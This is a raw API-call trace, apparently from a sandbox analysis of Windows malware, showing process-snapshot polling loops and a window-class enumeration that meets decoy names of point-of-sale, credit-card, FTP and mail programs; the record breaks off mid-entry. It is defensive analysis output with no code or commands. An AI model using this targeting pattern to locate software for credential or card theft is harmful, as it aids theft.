(dwMilliseconds=0x64) [0298.067] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x21cc [0298.091] Process32First (in: hSnapshot=0x21cc, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0298.186] Sleep (dwMilliseconds=0x64) [0298.189] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x21cc [0298.201] Process32First (in: hSnapshot=0x21cc, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0298.320] Sleep (dwMilliseconds=0x64) [0298.324] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x21cc [0298.339] Process32First (in: hSnapshot=0x21cc, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0298.454] Sleep (dwMilliseconds=0x64) [0298.457] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x21cc [0298.469] Process32First (in: hSnapshot=0x21cc, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0298.534] Sleep (dwMilliseconds=0x64) [0298.536] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x21cc [0298.589] Process32First (in: hSnapshot=0x21cc, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0298.657] Sleep (dwMilliseconds=0x64) [0298.658] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x21cc [0298.671] Process32First (in: hSnapshot=0x21cc, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0298.767] Sleep (dwMilliseconds=0x64) [0298.777] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x21cc [0298.789] Process32First (in: hSnapshot=0x21cc, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0298.977] Sleep (dwMilliseconds=0x64) [0298.987] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x21cc [0299.002] Process32First (in: hSnapshot=0x21cc, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0299.068] Sleep (dwMilliseconds=0x64) [0299.081] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x21cc [0299.129] Process32First (in: hSnapshot=0x21cc, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0299.203] Sleep (dwMilliseconds=0x64) [0299.205] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x21cc [0299.219] Process32First (in: hSnapshot=0x21cc, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0299.303] Sleep (dwMilliseconds=0x64) [0299.305] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x21cc [0299.318] Process32First (in: hSnapshot=0x21cc, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0299.409] Sleep (dwMilliseconds=0x64) [0299.412] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x21cc [0299.425] Process32First (in: hSnapshot=0x21cc, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0299.511] Sleep (dwMilliseconds=0x64) [0299.512] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x21cc [0299.525] Process32First (in: hSnapshot=0x21cc, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0299.591] Sleep (dwMilliseconds=0x64) [0299.594] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x21cc [0299.607] Process32First (in: hSnapshot=0x21cc, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0299.692] Sleep (dwMilliseconds=0x64) [0299.694] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x21cc [0299.706] Process32First (in: hSnapshot=0x21cc, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0299.807] Sleep (dwMilliseconds=0x64) [0299.816] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x21cc [0299.828] Process32First (in: hSnapshot=0x21cc, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0299.921] Sleep (dwMilliseconds=0x64) [0299.929] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x21cc [0299.958] Process32First (in: hSnapshot=0x21cc, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0300.062] Sleep (dwMilliseconds=0x64) [0300.071] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x21cc [0300.085] Process32First (in: hSnapshot=0x21cc, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0300.168] Sleep (dwMilliseconds=0x64) [0300.739] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x21cc [0300.865] Process32First (in: hSnapshot=0x21cc, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0300.929] Sleep (dwMilliseconds=0x64) [0301.052] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x21cc [0301.065] Process32First (in: hSnapshot=0x21cc, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 Thread: id = 59 os_tid = 0x870 [0096.103] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) returned 1 [0096.107] GetClassNameA (in: hWnd=0x100da, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="Worker Window") returned 13 [0096.107] GetClassNameA (in: hWnd=0x10134, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="ForegroundStaging") returned 17 [0096.107] GetClassNameA (in: hWnd=0x200f2, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="ForegroundStaging") returned 17 [0096.107] GetClassNameA (in: hWnd=0x10104, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="EdgeUiInputWndClass") returned 19 [0096.107] GetClassNameA (in: hWnd=0x10108, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="EdgeUiInputWndClass") returned 19 [0096.108] GetClassNameA (in: hWnd=0x1010a, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="EdgeUiInputWndClass") returned 19 [0096.108] GetClassNameA (in: hWnd=0x10106, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="EdgeUiInputWndClass") returned 19 [0096.108] GetClassNameA (in: hWnd=0x10102, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="EdgeUiInputWndClass") returned 19 [0096.108] GetClassNameA (in: hWnd=0x10100, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="EdgeUiInputTopWndClass") returned 22 [0096.108] GetClassNameA (in: hWnd=0x100fe, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="EdgeUiInputWndClass") returned 19 [0096.108] GetClassNameA (in: hWnd=0x100fc, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="EdgeUiInputWndClass") returned 19 [0096.108] GetClassNameA (in: hWnd=0x10176, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="Windows.UI.Core.CoreWindow") returned 26 [0096.108] GetClassNameA (in: hWnd=0x10168, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="Windows.UI.Core.CoreWindow") returned 26 [0096.108] GetClassNameA (in: hWnd=0x10158, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="Windows.UI.Core.CoreWindow") returned 26 [0096.108] GetClassNameA (in: hWnd=0x100fa, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="WorkerW") returned 7 [0096.108] GetClassNameA (in: hWnd=0x100ec, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="ApplicationManager_ImmersiveShellWindow") returned 39 [0096.108] GetClassNameA (in: hWnd=0x1019c, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="URL Moniker Notification Window") returned 31 [0096.108] GetClassNameA (in: hWnd=0x1018c, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="VSyncHelper-0000000005C32F30-1b01546") returned 36 [0096.108] GetClassNameA (in: hWnd=0x10184, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="RawInputClass") returned 13 [0096.109] GetClassNameA (in: hWnd=0x1017e, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="Internet Explorer_Hidden") returned 24 [0096.109] GetClassNameA (in: hWnd=0x100c6, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="tooltips_class32") returned 16 [0096.109] GetClassNameA (in: hWnd=0x100a0, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="tooltips_class32") returned 16 [0096.109] GetClassNameA (in: hWnd=0x100a4, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="tooltips_class32") returned 16 [0096.109] GetClassNameA (in: hWnd=0x100b2, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="tooltips_class32") returned 16 [0096.109] GetClassNameA (in: hWnd=0x100bc, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="tooltips_class32") returned 16 [0096.109] GetClassNameA (in: hWnd=0x100c0, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="tooltips_class32") returned 16 [0096.109] GetClassNameA (in: hWnd=0x10084, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="tooltips_class32") returned 16 [0096.109] GetClassNameA (in: hWnd=0x10090, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="tooltips_class32") returned 16 [0096.109] GetClassNameA (in: hWnd=0x100ba, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="tooltips_class32") returned 16 [0096.109] GetClassNameA (in: hWnd=0x20078, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="Shell_TrayWnd") returned 13 [0096.109] GetClassNameA (in: hWnd=0x101dc, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="ATL:00007FFD45CE4120") returned 20 [0096.109] GetClassNameA (in: hWnd=0x100d2, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="tooltips_class32") returned 16 [0096.109] GetClassNameA (in: hWnd=0x100c8, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="TaskListThumbnailWnd") returned 20 [0096.109] GetClassNameA (in: hWnd=0x40132, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="URL Moniker Notification Window") returned 31 [0096.110] GetClassNameA (in: hWnd=0x202e2, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="URL Moniker Notification Window") returned 31 [0096.110] GetClassNameA (in: hWnd=0x2024c, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="TabThumbnailWindow") returned 18 [0096.110] GetClassNameA (in: hWnd=0x2026a, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="VSyncHelper-006BD5C8-8b7ad90") returned 28 [0096.110] GetClassNameA (in: hWnd=0x202ee, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="Alternate Owner") returned 15 [0096.110] GetClassNameA (in: hWnd=0x20298, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="WorkerW") returned 7 [0096.110] GetClassNameA (in: hWnd=0x10340, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="AnalysisDemocratcls") returned 19 [0096.110] GetClassNameA (in: hWnd=0x1033e, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="largecls") returned 8 [0096.110] GetClassNameA (in: hWnd=0x10310, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="edcsvrapp") returned 9 [0096.110] GetClassNameA (in: hWnd=0x1032e, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="utg2class") returned 9 [0096.110] GetClassNameA (in: hWnd=0x10328, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="spgagentservice_window") returned 22 [0096.110] GetClassNameA (in: hWnd=0x102fe, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="ccv_server_app") returned 14 [0096.110] GetClassNameA (in: hWnd=0x1032a, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="spcwin_wnd") returned 10 [0096.110] GetClassNameA (in: hWnd=0x10320, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="mxslipstreamapp") returned 15 [0096.110] GetClassNameA (in: hWnd=0x102f2, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="afr38window") returned 11 [0096.110] GetClassNameA (in: hWnd=0x10322, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="omniposwnd") returned 10 [0096.111] GetClassNameA (in: hWnd=0x10314, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="issposclass") returned 11 [0096.111] GetClassNameA (in: hWnd=0x102f0, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="accupos_window") returned 14 [0096.111] GetClassNameA (in: hWnd=0x10312, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="fpos_window") returned 11 [0096.111] GetClassNameA (in: hWnd=0x1033a, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="WorkerW") returned 7 [0096.111] GetClassNameA (in: hWnd=0x10308, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="centralcreditcardapp") returned 20 [0096.111] GetClassNameA (in: hWnd=0x10304, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="creditserviceclass") returned 18 [0096.111] GetClassNameA (in: hWnd=0x102da, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="winscpapp") returned 9 [0096.111] GetClassNameA (in: hWnd=0x102f4, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="aldeloapp") returned 9 [0096.111] GetClassNameA (in: hWnd=0x102d2, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="trillianapp") returned 11 [0096.111] GetClassNameA (in: hWnd=0x102e6, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="yahoomessenger_window") returned 21 [0096.111] GetClassNameA (in: hWnd=0x102e4, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="active-chargeapp") returned 16 [0096.111] GetClassNameA (in: hWnd=0x102ce, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="whatsappapp") returned 11 [0096.111] GetClassNameA (in: hWnd=0x102d0, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="webdriveclass") returned 13 [0096.111] GetClassNameA (in: hWnd=0x102ae, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="scriptftpapp") returned 12 [0096.112] GetClassNameA (in: hWnd=0x102c6, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="thunderbirdwindow") returned 17 [0096.112] GetClassNameA (in: hWnd=0x102bc, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="skypeclass") returned 10 [0096.112] GetClassNameA (in: hWnd=0x102a2, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="operamailwindow") returned 15 [0096.112] GetClassNameA (in: hWnd=0x102ba, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="smartftp_wnd") returned 12 [0096.112] GetClassNameA (in: hWnd=0x102b0, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="pidgin_cls") returned 10 [0096.112] GetClassNameA (in: hWnd=0x102aa, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="outlookwnd") returned 10 [0096.112] GetClassNameA (in: hWnd=0x102a4, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="notepadapp") returned 10 [0096.112] GetClassNameA (in: hWnd=0x1028a, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="icq_class") returned 9 [0096.112] GetClassNameA (in: hWnd=0x10294, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="ncftp") returned 5 [0096.112] GetClassNameA (in: hWnd=0x10288, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="leechftpcls") returned 11 [0096.112] GetClassNameA (in: hWnd=0x10274, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="flingclass") returned 10 [0096.112] GetClassNameA (in: hWnd=0x10280, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="gmailnotifierproapp") returned 19 [0096.112] GetClassNameA (in: hWnd=0x1026c, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="filezilla") returned 9 [0096.112] GetClassNameA (in: hWnd=0x10282, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="foxmailincmail_cls") returned 18 [0096.112] GetClassNameA (in: hWnd=0x10272, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="flashfxp_class") returned 14 [0096.112] GetClassNameA (in: hWnd=0x1025e, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="farapp") returned 6 [0096.113] GetClassNameA (in: hWnd=0x10262, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="coreftp") returned 7 [0096.113] GetClassNameA (in: hWnd=0x10258, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="barcawnd") returned 8 [0096.113] GetClassNameA (in: hWnd=0x1025a, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="bitkinexcls") returned 11 [0096.113] GetClassNameA (in: hWnd=0x10252, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="alftp") returned 5 [0096.113] GetClassNameA (in: hWnd=0x10250, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="absolutetelnet_class") returned 20 [0096.113] GetClassNameA (in: hWnd=0x10248, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="3dftp_wnd") returned 9 [0096.113] GetClassNameA (in: hWnd=0x10242, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="up_guess_class") returned 14 [0096.113] GetClassNameA (in: hWnd=0x1021c, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="Strategyplayerownerwnd") returned 22 [0096.113] GetClassNameA (in: hWnd=0x1022a, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="Talk_class") returned 10 [0096.113] GetClassNameA (in: hWnd=0x10222, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="loss_Necessary_app") returned 18 [0096.113] GetClassNameA (in: hWnd=0x10224, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="safewindow") returned 10 [0096.113] GetClassNameA (in: hWnd=0x10218, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="now_Third_window") returned 16 [0096.113] GetClassNameA (in: hWnd=0x10212, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="cup_cls") returned 7 [0096.113] GetClassNameA (in: hWnd=0x10206, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="second_Position_home_wnd") returned 24 [0096.114] GetClassNameA (in: hWnd=0x10226, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="agent_window") returned 12 [0096.114] GetClassNameA (in: hWnd=0x10210, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="Hementionnewswindow") returned 19 [0096.114] GetClassNameA (in: hWnd=0x10204, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="High") returned 4 [0096.114] GetClassNameA (in: hWnd=0x301fa, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="Another_artist_window") returned 21 [0096.114] GetClassNameA (in: hWnd=0x2018e, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="cover_More_cls") returned 14 [0096.114] GetClassNameA (in: hWnd=0x401f0, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="Along") returned 5 [0096.114] GetClassNameA (in: hWnd=0x3002e, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="teamMaintainwnd") returned 15 [0096.114] GetClassNameA (in: hWnd=0x20138, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="WorkerW") returned 7 [0096.114] GetClassNameA (in: hWnd=0x30032, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="tooltips_class32") returned 16 [0096.114] GetClassNameA (in: hWnd=0x2015c, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="tooltips_class32") returned 16 [0096.114] GetClassNameA (in: hWnd=0x6003e, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="OleDdeWndClass") returned 14 [0096.114] GetClassNameA (in: hWnd=0x30194, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="tooltips_class32") returned 16 [0096.114] GetClassNameA (in: hWnd=0x2027c, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="WorkerW") returned 7 [0096.114] GetClassNameA (in: hWnd=0x20124, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IEFrame") returned 7 [0096.114] GetClassNameA (in: hWnd=0x20126, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="DDEMLEvent") returned 10 [0096.114] GetClassNameA (in: hWnd=0x20196, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="DDEMLMom") returned 8 [0096.115] GetClassNameA (in: hWnd=0x400f8, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="WorkerW") returned 7 [0096.115] GetClassNameA (in: hWnd=0x501ec, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="WorkerW") returned 7 [0096.115] GetClassNameA (in: hWnd=0x101d8, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="WorkerW") returned 7 [0096.115] GetClassNameA (in: hWnd=0x101d6, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="WorkerW") returned 7 [0096.115] GetClassNameA (in: hWnd=0x101d2, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="WorkerW") returned 7 [0096.115] GetClassNameA (in: hWnd=0x101c6, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="ATL:00007FFD43B47080") returned 20 [0096.115] GetClassNameA (in: hWnd=0x101c0, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="WorkerW") returned 7 [0096.115] GetClassNameA (in: hWnd=0x101b2, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="SystemTray_Main") returned 15 [0096.115] GetClassNameA (in: hWnd=0x101ae, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="OleDdeWndClass") returned 14 [0096.115] GetClassNameA (in: hWnd=0x101aa, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="WorkerW") returned 7 [0096.115] GetClassNameA (in: hWnd=0x10148, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="COMTASKSWINDOWCLASS") returned 19 [0096.115] GetClassNameA (in: hWnd=0x10118, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="PushNotificationsPowerManagement") returned 32 [0096.115] GetClassNameA (in: hWnd=0x1010e, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="WorkerW") returned 7 [0096.116] GetClassNameA (in: hWnd=0x10116, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="TabletModeCoverWindow") returned 21 [0096.116] GetClassNameA (in: hWnd=0x101a2, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="WorkerW") returned 7 [0096.116] GetClassNameA (in: hWnd=0x101a4, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="WorkerW") returned 7 [0096.116] GetClassNameA (in: hWnd=0x10114, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="DummyDWMListenerWindow") returned 22 [0096.116] GetClassNameA (in: hWnd=0x1010c, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="EdgeUiInputTopWndClass") returned 22 [0096.116] GetClassNameA (in: hWnd=0x100ee, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="OleDdeWndClass") returned 14 [0096.116] GetClassNameA (in: hWnd=0x100ea, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="ApplicationManager_DesktopShellWindow") returned 37 [0096.116] GetClassNameA (in: hWnd=0x100e6, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="WorkerW") returned 7 [0096.116] GetClassNameA (in: hWnd=0x100e0, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="WorkerW") returned 7 [0096.116] GetClassNameA (in: hWnd=0x100de, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="WorkerW") returned 7 [0096.116] GetClassNameA (in: hWnd=0x200d6, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="WorkerW") returned 7 [0096.116] GetClassNameA (in: hWnd=0x100be, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="tooltips_class32") returned 16 [0096.116] GetClassNameA (in: hWnd=0x20020, lpClassName=0xfe4fd50, nMaxCount=260 | out: 